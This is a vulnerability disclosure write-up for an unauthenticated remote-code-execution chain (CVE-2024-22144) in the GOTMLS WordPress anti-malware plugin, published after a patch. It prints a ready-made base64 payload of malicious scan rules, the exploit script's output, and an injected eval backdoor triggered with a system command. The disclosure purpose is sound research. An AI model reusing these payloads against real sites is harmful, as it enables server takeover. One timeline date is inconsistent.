Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144

Unauthenticated Remote Code Execution (RCE) by chaining multiple vulnerabilities in the Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin

tldr;

The Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin is vulnerable to Unauthenticated Remote Code Execution (RCE) by chaining multiple vulnerabilities including unprotected API access, insufficient randomness, insecure design and improper sanitization of data. Final remote code execution was achieved by injection of malicious regex rules causing selective deletion of source code leaving behind a command shell.

Affected Versions: <=4.21.96
CVSS Score: 9.0  
Links: Mitre, NVD
Active installations: 200,000+

About the GOTMLS Plugin


The Anti-Malware Security and Brute-Force Firewall (GOTMLS) is a freemium WordPress plugin that is designed for malware detection and automatic removal. Is an essential tool for many WordPress sites, with over 200,000 active installations.

Vulnerabilities


The vulnerability chain begins with unprotected API functions that leak sensitive data, including server time. This allows brute forcing of an insufficiently random value used for a nonce. This nonce is then used to authenticate to additional API functions that allow updating of malware definitions. These malware regex's can be abused to selectively delete source code resulting in remote code execution. The identified vulnerability has been assigned a CVSS score of 9.0, highlighting its severity.

Unauthenticated API Access

Allowing unauthenticated access to critical API functions in a plugin creates a significant security risk, as it permits any user, to access and potentially manipulate sensitive functionalities, laying the groundwork for potential exploitation and unauthorized actions. Plugins should restrict publicly accessible APIs to only those that are strictly necessary.

Interestingly, the plugin exposes several functions to unauthenticated users via the admin-ajax.php file, by adding actions prefix with wp_ajax_nopriv_. This allows anyone to access GOTMLS_ functions provided they start with the letter l, giving us direct accesss to 4 sensitive functions (load_update, log_session, logintime and lognewkey).

$ajax_functions = array('load_update', 'log_session', 'empty_trash', 'fix', 'logintime', 'lognewkey', 'position', 'scan', 'View_Quarantine', 'whitelist');
// ...
foreach ($ajax_functions as $ajax_function) {
   add_action("wp_ajax_GOTMLS_$ajax_function", "GOTMLS_ajax_nopriv");
   add_action("wp_ajax_nopriv_GOTMLS_$ajax_function", substr($ajax_function, 0, 1) == "l"?"GOTMLS_ajax_$ajax_function":"GOTMLS_ajax_nopriv");
}

The logintime function exposes the server's microtime, information which can be used for the next part of the vulnerability to calculate and brute force a valid nonce due to insufficient randomness.

Insecure Nonce Generation and Validation

It is a dangerously common anti-pattern to create what appears to be a random hash using predictable or known inputs (remember predictable input gives predictable output). This can leave systems vulnerable to bad actors who could directly guess or brute force these values.

The code snippet below illustrates how the plugin was insecurely generating nonces:

md5(substr(number_format(microtime(true), 9, '-', '/'), 6).GOTMLS_installation_key.GOTMLS_plugin_path);

In this instance, GOTMLS_plugin_path was predictable, GOTMLS_installation_key was known as it is generated from the site URL. The server also leaks its current microtime to 4 decimal places. As number formatter is forcing it to output to 9 decimal places the last 5 digits will be "random". This means that even known exact time a brute force approach would still need to try a few million hashes before it could successfully guess a valid once. We can use some profiling and maths to try and predict the creation time more accurately by checking the server's microtime directly before and directly after the nonce generation.

A key aspect of nonce security is ensuring that they are tied to specific sessions. This practice adds an additional layer of security, as it associates each nonce with a unique user session, making it significantly more difficult for attackers to exploit. In this plugin nonces are stored globally and reused between different users.

Another interesting quirk in occurs when the nonce is validated; The function accepts either a single value for a nonce or an array of values as shown in the code snippet below:

if (is_array($_REQUEST["GOTMLS_mt"])) {
    foreach ($_REQUEST["GOTMLS_mt"] as $_REQUEST_GOTMLS_mt)
        if (strlen($_REQUEST_GOTMLS_mt) == 32 && isset($GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST_GOTMLS_mt]))
            return (INT) $GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST_GOTMLS_mt];
    return 0;
} 
elseif (strlen($_REQUEST["GOTMLS_mt"]) == 32 && isset($GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST["GOTMLS_mt"]])) {
    return (INT) $GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST["GOTMLS_mt"]];
}

This significantly reduces the number of requests required to brute force a valid nonce, as we could send multiple guesses at once. How many values could be validated in a single request is limited only by PHP's max_input_vars. On standard setups this typically restricts the number of variables in a HTTP request to 1000.

Another flaw in this plugin's functionality was that an attacker could invalidate all existing nonces stored on the server and insert up to 25 new ones by modifying a time parameter with each request. This allows an attacker to quickly create many nonces over a short period of time which massively increases the changes of guessing a correct one.

Combining all of these flaws was quite technical but resulted in an attack that could be completed reliably within 30 seconds to a few minutes. This was first tested against an instance running on localhost and confirmed by patchstack by running a vulnerable instance of the plugin on one AWS server and attacking it with another.

python gotmls.py http://44.201.189.48
[+] Exploiting Host: http://44.201.189.48
[+] Calculated Installation Key: 124b65e39d7b19df6a45cdaa16dc6044
[+] Using Plugin Path: /var/www/html/wp-content/plugins/gotmls/
[+] Calibrating timing attack:
 ├ Offset time:     0.00778 ms (min:0.00691 max:0.00963)
 └ Round trip time: 0.02902 ms (min:0.02769 max:0.03194)
[+] Starting attack:
 ├ Server Microtime: 1704461766.5626
 ├ Clearing Existing Nonces
 ├ Start time: 1704461766.6197805
 ├ Midpoint:   1704461767.0998244
 ├ End time:   1704461767.5798683
 └ 25 Nonces Injected in 0.96009 s (avg 0.038404)
[?] Attack feasibility calculation
 ├ These values are the maximum search space, average attack should take 50% of these
 ├ Hashes: 42,243,862
 ├ Requests: 42,456
 └ Estimated Time: 1,630s
[*] Press enter to continue or ctrl+c to stop
[-] Tested 1,058,680 hashes over 1,064 requests (speed 36,566 h/s)
[+] Found hash!!! (Tested: 1,058,680 hashes)
 └ Brute forced a valid nonce in 32.60srequests (speed 36,657 h/s)
 └ Converted 995 hashes into single nonce e0c5ed6becf3f50ba6abe787f15f2752
[+] Validated nonce and server key
Output of the exploitation script

Another interesting thing to note is that the PHP execution and response (~90ms) is significantly slower than the HTTP request's time (2-10ms) in flight. This means that for the attack demonstrated here the connection speed is not the main factor contributing to the search space. This means that this vulnerability is incredibly dangerous as it has an approximately constant attack space making it feasible even against remote targets. It is even worse against more powerful servers and those using multi-threading, as they would allow for more nonces to be created in less time.

Remote Code Execution by Injecting Malicious Malware Rules

Once a valid nonce is obtained, the plugin gives you access to all the ajax functions, not just those beginning with l. These are more sensitive administrative API functions that can be accessed and manipulated.

One such function, GOTMLS_ajax_load_update, allows for the update of PHP serialized, base64 encoded malware definitions. This part of the function should have been designed to be private and only accessible when called internally, not by an end user.

The malware definitions are protected against direct insecure deserialization attacks thanks to a small regex protection. However, we can now insert custom regex's into these definitions, and continue our attack using intended functionality of the plugin. It is possible to specially craft some regex's so that the plugin will scan its own source code and selectively delete parts, leaving behind an exploitable code fragment. There are likely countless ways to do this, I selected one that left behind an evil eval statement. Below you can see the PHP code I wrote with the 3 regex's to achieve when running on the images/index.php file.

$inj = array("known" => array(
    "stealthcopter testing 1"=>array(0 => 'M4t01', 1 => '/\$bad = array\("/'),
    "stealthcopter testing 2"=>array(0 => 'M4t02', 1 => '/", "preg_replace.*?isset/s'),
    "stealthcopter testing 3"=>array(0 => 'M4t03', 1 => '/&&is_numeric\(.*?\n\)(?=;)/s')
));
$serial = @serialize($inj);

echo $serial."\n";
echo urlsafe_b64encode($serial)."\n";

This gives us a serialized PHP object of:

a:1:{s:5:"known";a:3:{s:23:"stealthcopter testing 1";a:2:{i:0;s:5:"M4t01";i:1;s:18:"/\$bad = array\("/";}s:23:"stealthcopter testing 2";a:2:{i:0;s:5:"M4t02";i:1;s:27:"/", "preg_replace.*?isset/s";}s:23:"stealthcopter testing 3";a:2:{i:0;s:5:"M4t03";i:1;s:29:"/&&is_numeric\(.*?\n\)(?=;)/s";}}}

Which in base64 is:

YToxOntzOjU6Imtub3duIjthOjM6e3M6MjM6InN0ZWFsdGhjb3B0ZXIgdGVzdGluZyAxIjthOjI6e2k6MDtzOjU6Ik00dDAxIjtpOjE7czoxODoiL1wkYmFkID0gYXJyYXlcKCIvIjt9czoyMzoic3RlYWx0aGNvcHRlciB0ZXN0aW5nIDIiO2E6Mjp7aTowO3M6NToiTTR0MDIiO2k6MTtzOjI3OiIvIiwgInByZWdfcmVwbGFjZS4qP2lzc2V0L3MiO31zOjIzOiJzdGVhbHRoY29wdGVyIHRlc3RpbmcgMyI7YToyOntpOjA7czo1OiJNNHQwMyI7aToxO3M6Mjk6Ii8mJmlzX251bWVyaWNcKC4qP1xuXCkoPz07KS9zIjt9fX0

This was then passed to the load_update ajax function and the malware definitions were successfully updated. Following this we now just need to call another endpoint to execute a scan on a single file images/index.php and it will be executed.

A visual demonstration of how the 3 regexs work to selectively delete code and leave behind an exploitable code fragment.

The gif above shows the original source code, and the 3 parts that are removed using the injected malware regex definitions. Following the selective deletions the following code is left behind:

eval($_REQUEST["mt"]);

This leaves behind a basic backdoor, eval, will execute any string passed into it as PHP code. We can trigger this by sending a simple bit of PHP code in the mt parameter to execute arbitrary PHP commands such as:

die(system("id"));

This leaves us with a full unauthenticated remote code execution attack as can be shown in the screenshot below:

[+] Found hash!!! (Tested: 1,058,680 hashes)
 └ Brute forced a valid nonce in 32.60srequests (speed 36,657 h/s)
 └ Converted 995 hashes into single nonce e0c5ed6becf3f50ba6abe787f15f2752
[+] Validated nonce and server key
[!] Injecting a shell into images/index.php is a destructive process
[*] Press any key to continue or ctrl+c to quit
[+] Injecting malicious update
[+] Executing shell with: id
 └ uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Now that this backdoor shell has been created we can access it using curl or in the browser:

Screenshot showing the result from the newly uploaded shell post exploitation

Timeline

Thanks to Eli Scheetz the author of GotMLS for fixing this vulnerability and for generously donating a few coffees to fuel my research ☕. Also a shoutout to Dave from Patchstack for his patience getting the exploit working.

  • 28/01/24 (a few days before) - I knew there was something interesting here but discovery and development of this exploit took quite a few days as it was a tricky beast.
  • 04/01/24 ( 0 day) - Disclosure to PatchStack
  • 05/01/24 (+1 day) - PatchStack tested and validated the vulnerability chain. They awarded 180 AXP with an additional 1.5x for writing an advisory. Resulting in a total of 270 AXP.
  • 20/02/24 (+16 days) - Patch published
  • 12/03/24 (+37 days) - Vulnerability Published

Conclusion

The vulnerabilities discussed here underscore the importance of securing all aspects of a plugin, especially those designed for security purposes. For developers, it is crucial to ensure that every function and API endpoint is secured with appropriate authentication and validation mechanisms to prevent exploitation. It is highly recommended to avoid creating your own security functions and to utilize those already built into WordPress, such as nonce creation and validation. These have been tested and approved by a larger community, making them more reliable than creating your own from scratch.